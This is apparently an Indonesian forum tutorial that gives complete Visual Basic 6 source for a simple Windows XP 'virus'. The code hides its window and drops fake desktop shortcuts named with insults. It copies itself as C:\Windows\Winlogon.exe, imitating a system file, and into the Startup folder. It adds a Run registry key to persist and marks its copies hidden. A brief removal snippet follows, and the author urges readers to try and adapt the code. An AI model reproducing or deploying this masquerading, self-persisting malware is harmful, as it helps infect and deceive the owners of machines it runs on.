TUTORIAL CARA MEMBUAT VIRUS SEDERHANA

TUTORIAL CARA MEMBUAT VIRUS SEDERHANA

hy agan-agan...lama tak jumpa....
kali ini ane mauu posting tentang cara membuat virus sederhana menggunakan Visual Basic 06 portable Atau nonportable...
Virus ini hanya work di Win Xp
okk langsungg aja buka VBnya....
klo gx pnya silakan download dluu Di sini

• langkah 1

 New Project
pilih standar EXE

lalu klik open

• Langkah 2

di jendela form Properties
BorderStyle=0-None

• Langkah 3

Tekan tombol F7 atau doubleklik pda form
dan masukan SourceCode ini
'-----------------------------------------------------

Dim nama As String
Dim v As String
Dim nmr As Integer


Private Sub Form_Load()
'agar tidak terlihat
App.TaskVisible = False
Me.Visible = False
'membuat shorcut palsu
nama = "Dasar Bego"
On Error Resume Next
Dim s As Integer
s = FreeFile
Open "C:\Documents and Settings\All Users\Desktop\Emang.Ink" For Output As #s
Print #s, nama
Close #s
'---------------------------------------------------
On Error Resume Next
Dim ss As Integer
ss = FreeFile
Open "C:\Documents and Settings\All Users\Desktop\Enak.Ink" For Output As #ss
Print #ss, nama
Close #ss
'----------------------------------------------------------------
On Error Resume Next
Dim sss As Integer
sss = FreeFile
Open "C:\Documents and Settings\All Users\Desktop\Gua.Ink" For Output As #sss
Print #sss, nama
Close #sss
'------------------------------------------------------------------
On Error Resume Next
Dim ssss As Integer
ssss = FreeFile
Open "C:\Documents and Settings\All Users\Desktop\Kerjain.Ink" For Output As #ssss
Print #ssss, nama
Close #ssss
'---------------------------------
'menyalin diri sendiri
FileCopy App.EXEName + ".exe", "c:\Windows\Winlogon.exe"
'menyalin diri ke star menu startup,untuk mengelabui
On Error Resume Next
FileCopy App.EXEName + ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\SystemWin.exe"
On Error Resume Next
'membuat registry agar mulai otomatis saat startup
Set ubahreg = CreateObject("WScript.Shell")
ubahreg.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\Run\TrjICT", "c:\Windows\Winlogon.exe", "REG_SZ"
'---------------------
'ini sebaiknya jngn di rubah"
On Error Resume Next '<=
Dim o As Integer '<=
v = "Ada"
o = FreeFile
Open "c:\Documents and Settings\All Users\Desktop\Oke.txt" For Output As #o
Print #o, v '<='
Close #o
'########################################################
'menyembunyikan file
Set sembunyi = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
sembunyi.Getfile("C:\Windows\Winlogon.exe").Attributes = 2
sembunyi.Getfile("C:\Windows\Data.ini").Attributes = 2
sembunyi.Getfile("c:\Documents and Settings\All Users\Desktop\Oke.txt").Attributes = 2
'################################################################
'menampilkan shorcut palsu agar slalu tampil
Set tampil = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
tampil.Getfile("C:\Documents and Settings\All Users\Desktop\Emang.Ink").Attributes = 0
tampil.Getfile("C:\Documents and Settings\All Users\Desktop\Enak.Ink").Attributes = 0
tampil.Getfile("C:\Documents and Settings\All Users\Desktop\Gua.Ink").Attributes = 0
tampil.Getfile("C:\Documents and Settings\All Users\Desktop\Kerjain.Ink").Attributes = 0
'########################################################
End
End Sub





'Silakan Ubah Sesuka agan....



Untuk Memusnahkan virus  ini (Sebelum agan rubah) gunakan INI
atau agan boleh buat sendiri dengan VB6
pakai kode Ini
on error resume next
kill "lokasi file.Extensi"
'dan untuk menghapus di registry gunakan
on Error Resume Next
Set hapusreg = CreateObject("WScript.Shell")
hapusreg.regdelete "LOkasi"

contoh

on error resume next
kill "c:\Windows\Hahaha.exe"
'menghapus di regedit
On Error Resume Next
Set hapusreg = CreateObject("WScript.Shell")
hapusreg.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\Run\TrjICT"

NOTE :
Jngan takut mencoba Tanpa mencoba kita tak akan bisa.. :D

Creative By: Ipoel Creation